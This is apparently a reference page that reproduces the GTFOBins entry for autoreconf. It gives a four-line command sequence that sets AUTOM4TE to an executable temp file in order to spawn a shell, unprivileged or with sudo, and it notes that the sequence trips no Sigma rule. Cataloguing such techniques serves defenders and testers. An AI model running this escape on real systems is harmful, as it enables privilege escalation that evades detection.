Identifier / Programs / Linux and Unix
autoreconf
GTFOBins shell 1 documented command
How autoreconf is abused
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for autoreconf.
1 documented command
shell unprivileged, with sudo
The shell is invoked multiple times.
echo '/bin/sh 1>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
echo AC_INIT >configure.ac
AUTOM4TE=/path/to/temp-file autoreconfIdentifyThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for autoreconf. The identifier reads the line that runs autoreconf.